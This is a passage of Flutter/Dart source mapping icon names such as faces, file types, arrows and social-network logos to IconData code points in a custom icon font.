const IconData(0xe813, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'window_restore_1':
const IconData(0xe814, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angry_face_1':
const IconData(0xe815, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'star_1':
const IconData(0xe816, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'address_card_1':
const IconData(0xe817, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'comment_1':
const IconData(0xe818, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'object_ungroup_1':
const IconData(0xe819, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'winking_face_1':
const IconData(0xe81a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'window_close_1':
const IconData(0xe81b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'video_file_1':
const IconData(0xe81c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'envelope_1':
const IconData(0xe81d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hushed_face_1':
const IconData(0xe81e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_with_tongue_1':
const IconData(0xe81f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_square_down_1':
const IconData(0xe820, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pause_circle_1':
const IconData(0xe821, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'folder_open_1':
const IconData(0xe822, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'folder_1':
const IconData(0xe823, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'flag_1':
const IconData(0xe824, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_pointing_right_1':
const IconData(0xe825, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'minus_square_1':
const IconData(0xe826, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrow_circle_down_1':
const IconData(0xe827, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'excel_file_1':
const IconData(0xe828, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_square_left_1':
const IconData(0xe829, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pointer__hand__1':
const IconData(0xe82a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laugh_face_with_beaming_eyes_1':
const IconData(0xe82b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'snowflake_1':
const IconData(0xe82c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'star_struck_1':
const IconData(0xe82d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stop_circle_1':
const IconData(0xe82e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'comments_1':
const IconData(0xe82f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'closed_captioning_1':
const IconData(0xe830, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thumbs_down_1':
const IconData(0xe831, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_winking_face_1':
const IconData(0xe832, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'images_1':
const IconData(0xe833, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'compass_1':
const IconData(0xe834, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'code_file_1':
const IconData(0xe835, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'squinting_face_with_tongue_1':
const IconData(0xe836, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'clipboard_1':
const IconData(0xe837, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'newspaper_1':
const IconData(0xe838, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_pointing_left_1':
const IconData(0xe839, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'object_group_1':
const IconData(0xe83a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'image_1':
const IconData(0xe83b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'keyboard_1':
const IconData(0xe83c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_squinting_face_1':
const IconData(0xe83d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_pointing_down_1':
const IconData(0xe83e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gem_1':
const IconData(0xe83f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'kissing_face_with_smiling_eyes_1':
const IconData(0xe840, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'address_book_1':
const IconData(0xe841, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_without_mouth_1':
const IconData(0xe842, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paper_plane_1':
const IconData(0xe843, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrow_circle_up_1':
const IconData(0xe844, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'play_circle_1':
const IconData(0xe845, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'image_file_1':
const IconData(0xe846, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dizzy_face_1':
const IconData(0xe847, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laughing_winking_face_1':
const IconData(0xe848, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_money_bill_1':
const IconData(0xe849, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_times_1':
const IconData(0xe84a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rolling_on_the_floor_laughing_1':
const IconData(0xe84b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'times_circle_1':
const IconData(0xe84c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_plus_1':
const IconData(0xe84d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'crying_face_1':
const IconData(0xe84e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'powerpoint_file_1':
const IconData(0xe84f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hdd_1':
const IconData(0xe850, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hourglass_1':
const IconData(0xe851, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'credit_card_1':
const IconData(0xe852, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lemon_1':
const IconData(0xe853, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bell_slash_1':
const IconData(0xe854, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_grinning_face_1':
const IconData(0xe855, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrow_circle_right_1':
const IconData(0xe856, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'archive_file_1':
const IconData(0xe857, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lizard__hand__1':
const IconData(0xe858, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laughing_squinting_face_1':
const IconData(0xe859, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_face_1':
const IconData(0xe85a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thumbs_up_1':
const IconData(0xe85b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hospital_1':
const IconData(0xe85c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'kissing_face_1':
const IconData(0xe85d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bar_chart_1':
const IconData(0xe85e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_blowing_a_kiss_1':
const IconData(0xe85f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'heart_1':
const IconData(0xe860, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_comment_1':
const IconData(0xe861, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'plus_square_1':
const IconData(0xe862, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_list_1':
const IconData(0xe863, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'smiling_face_with_heart_eyes_1':
const IconData(0xe864, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrow_circle_left_1':
const IconData(0xe865, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'frowning_face_with_open_mouth_1':
const IconData(0xe866, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tired_face_1':
const IconData(0xe867, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'peace__hand__1':
const IconData(0xe868, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_minus_1':
const IconData(0xe869, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lightbulb_1':
const IconData(0xe86a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'check_square_1':
const IconData(0xe86b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_1':
const IconData(0xe86c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'spock__hand__1':
const IconData(0xe86d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'identification_card_1':
const IconData(0xe86e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_check_1':
const IconData(0xe86f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'moon_1':
const IconData(0xe870, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_1':
const IconData(0xe871, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_1':
const IconData(0xe872, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'clock_1':
const IconData(0xe873, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sun_1':
const IconData(0xe874, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_pointing_up_1':
const IconData(0xe875, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_circle_1':
const IconData(0xe876, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'envelope_open_1':
const IconData(0xe877, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'edit_1':
const IconData(0xe878, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'circle_1':
const IconData(0xe879, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'word_file_1':
const IconData(0xe87a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_file_1':
const IconData(0xe87b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'flushed_face_1':
const IconData(0xe87c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'life_ring_1':
const IconData(0xe87d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'beaming_face_with_smiling_eyes_1':
const IconData(0xe87e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'square_1':
const IconData(0xe87f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'question_circle_1':
const IconData(0xe880, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'eye_1':
const IconData(0xe881, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pdf_file_1':
const IconData(0xe882, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'frowning_face_1':
const IconData(0xe883, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'window_minimize_1':
const IconData(0xe884, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'registered_trademark_1':
const IconData(0xe885, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'comment_dots_1':
const IconData(0xe886, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'winking_face_with_tongue_1':
const IconData(0xe887, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'futbol_1':
const IconData(0xe888, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'clone_1':
const IconData(0xe889, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'share_square_1':
const IconData(0xe88a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'copyright_1':
const IconData(0xe88b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bell_1':
const IconData(0xe88c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'identification_badge_1':
const IconData(0xe88d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paper__hand__1':
const IconData(0xe88e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'scissors__hand__1':
const IconData(0xe88f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bookmark_1':
const IconData(0xe890, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grimacing_face_1':
const IconData(0xe891, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'check_circle_1':
const IconData(0xe892, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_calendar_1':
const IconData(0xe893, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'handshake_1':
const IconData(0xe894, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'martini_glass':
const IconData(0xf000, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'music':
const IconData(0xf001, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'search':
const IconData(0xf002, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'heart':
const IconData(0xf004, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'star':
const IconData(0xf005, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user':
const IconData(0xf007, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'film':
const IconData(0xf008, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'th_large':
const IconData(0xf009, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'th':
const IconData(0xf00a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'th_list':
const IconData(0xf00b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'check':
const IconData(0xf00c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'times':
const IconData(0xf00d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'search_plus':
const IconData(0xf00e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'search_minus':
const IconData(0xf010, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'power_off':
const IconData(0xf011, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'signal':
const IconData(0xf012, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cog':
const IconData(0xf013, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'home':
const IconData(0xf015, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'clock':
const IconData(0xf017, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'road':
const IconData(0xf018, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'download':
const IconData(0xf019, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'inbox':
const IconData(0xf01c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'redo':
const IconData(0xf01e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sync_icon':
const IconData(0xf021, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_list':
const IconData(0xf022, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lock':
const IconData(0xf023, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'flag':
const IconData(0xf024, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'headphones':
const IconData(0xf025, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'volume_off':
const IconData(0xf026, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'volume_down':
const IconData(0xf027, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'volume_up':
const IconData(0xf028, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'qrcode':
const IconData(0xf029, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'barcode':
const IconData(0xf02a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tag':
const IconData(0xf02b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tags':
const IconData(0xf02c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'book':
const IconData(0xf02d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bookmark':
const IconData(0xf02e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'print':
const IconData(0xf02f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'camera':
const IconData(0xf030, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'font':
const IconData(0xf031, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bold':
const IconData(0xf032, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'italic':
const IconData(0xf033, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'text_height':
const IconData(0xf034, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'text_width':
const IconData(0xf035, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'align_left':
const IconData(0xf036, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'align_center':
const IconData(0xf037, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'align_right':
const IconData(0xf038, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'align_justify':
const IconData(0xf039, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'list':
const IconData(0xf03a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'outdent':
const IconData(0xf03b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'indent':
const IconData(0xf03c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'video_1':
const IconData(0xf03d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'image':
const IconData(0xf03e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'map_marker':
const IconData(0xf041, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'adjust':
const IconData(0xf042, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tint':
const IconData(0xf043, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'edit':
const IconData(0xf044, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'step_backward':
const IconData(0xf048, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fast_backward':
const IconData(0xf049, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'backward':
const IconData(0xf04a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'play':
const IconData(0xf04b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pause':
const IconData(0xf04c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stop':
const IconData(0xf04d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'forward':
const IconData(0xf04e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fast_forward':
const IconData(0xf050, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'step_forward':
const IconData(0xf051, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'eject':
const IconData(0xf052, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chevron_left':
const IconData(0xf053, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chevron_right':
const IconData(0xf054, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'plus_circle':
const IconData(0xf055, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'minus_circle':
const IconData(0xf056, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'times_circle':
const IconData(0xf057, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'check_circle':
const IconData(0xf058, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'question_circle':
const IconData(0xf059, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'info_circle':
const IconData(0xf05a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'crosshairs':
const IconData(0xf05b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ban':
const IconData(0xf05e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'arrow_left':
const IconData(0xf060, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'arrow_right':
const IconData(0xf061, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'arrow_up':
const IconData(0xf062, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'arrow_down':
const IconData(0xf063, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'share':
const IconData(0xf064, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'expand':
const IconData(0xf065, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'compress':
const IconData(0xf066, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'plus':
const IconData(0xf067, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'minus':
const IconData(0xf068, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'asterisk':
const IconData(0xf069, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'exclamation_circle':
const IconData(0xf06a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gift':
const IconData(0xf06b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'leaf':
const IconData(0xf06c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fire':
const IconData(0xf06d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'eye':
const IconData(0xf06e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'eye_slash':
const IconData(0xf070, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'exclamation_triangle':
const IconData(0xf071, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'plane':
const IconData(0xf072, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_calendar':
const IconData(0xf073, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'random':
const IconData(0xf074, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'comment':
const IconData(0xf075, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'magnet':
const IconData(0xf076, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chevron_up':
const IconData(0xf077, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chevron_down':
const IconData(0xf078, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'retweet':
const IconData(0xf079, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shopping_cart':
const IconData(0xf07a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'folder':
const IconData(0xf07b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'folder_open':
const IconData(0xf07c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bar_chart':
const IconData(0xf080, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'twitter_square':
const IconData(0xf081, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'facebook_square':
const IconData(0xf082, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'retro_camera':
const IconData(0xf083, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'key':
const IconData(0xf084, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cogs':
const IconData(0xf085, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'comments':
const IconData(0xf086, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'star_half':
const IconData(0xf089, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'linkedin':
const IconData(0xf08c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thumbtack':
const IconData(0xf08d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'trophy':
const IconData(0xf091, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'github_square':
const IconData(0xf092, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'upload':
const IconData(0xf093, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lemon':
const IconData(0xf094, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'phone':
const IconData(0xf095, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'phone_square':
const IconData(0xf098, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'twitter':
const IconData(0xf099, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'facebook':
const IconData(0xf09a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'github':
const IconData(0xf09b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'unlock':
const IconData(0xf09c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'credit_card':
const IconData(0xf09d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rss':
const IconData(0xf09e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hdd':
const IconData(0xf0a0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bullhorn':
const IconData(0xf0a1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'certificate':
const IconData(0xf0a3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_pointing_right':
const IconData(0xf0a4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_pointing_left':
const IconData(0xf0a5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_pointing_up':
const IconData(0xf0a6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_pointing_down':
const IconData(0xf0a7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'arrow_circle_left':
const IconData(0xf0a8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'arrow_circle_right':
const IconData(0xf0a9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'arrow_circle_up':
const IconData(0xf0aa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'arrow_circle_down':
const IconData(0xf0ab, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'globe':
const IconData(0xf0ac, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wrench':
const IconData(0xf0ad, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tasks':
const IconData(0xf0ae, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'filter':
const IconData(0xf0b0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'briefcase':
const IconData(0xf0b1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrows':
const IconData(0xf0b2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'users':
const IconData(0xf0c0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'link':
const IconData(0xf0c1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloud':
const IconData(0xf0c2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'flask':
const IconData(0xf0c3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cut':
const IconData(0xf0c4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'copy':
const IconData(0xf0c5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paperclip':
const IconData(0xf0c6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'save':
const IconData(0xf0c7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'square':
const IconData(0xf0c8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bars':
const IconData(0xf0c9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'list_ul':
const IconData(0xf0ca, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'list_ol':
const IconData(0xf0cb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'strikethrough':
const IconData(0xf0cc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'underline':
const IconData(0xf0cd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'table':
const IconData(0xf0ce, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'magic':
const IconData(0xf0d0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'truck':
const IconData(0xf0d1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pinterest':
const IconData(0xf0d2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pinterest_square':
const IconData(0xf0d3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'google_plus_square':
const IconData(0xf0d4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'google_plus_g':
const IconData(0xf0d5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'money_bill':
const IconData(0xf0d6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_down':
const IconData(0xf0d7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_up':
const IconData(0xf0d8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_left':
const IconData(0xf0d9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_right':
const IconData(0xf0da, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'columns':
const IconData(0xf0db, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sort':
const IconData(0xf0dc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sort_down__descending_':
const IconData(0xf0dd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sort_up__ascending_':
const IconData(0xf0de, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'envelope':
const IconData(0xf0e0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'linkedin_in':
const IconData(0xf0e1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'undo':
const IconData(0xf0e2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gavel':
const IconData(0xf0e3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lightning_bolt':
const IconData(0xf0e7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sitemap':
const IconData(0xf0e8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'umbrella':
const IconData(0xf0e9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paste':
const IconData(0xf0ea, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lightbulb':
const IconData(0xf0eb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'doctor':
const IconData(0xf0f0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stethoscope':
const IconData(0xf0f1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'suitcase':
const IconData(0xf0f2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bell':
const IconData(0xf0f3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'coffee':
const IconData(0xf0f4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hospital':
const IconData(0xf0f8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ambulance':
const IconData(0xf0f9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medkit':
const IconData(0xf0fa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fighter_jet':
const IconData(0xf0fb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
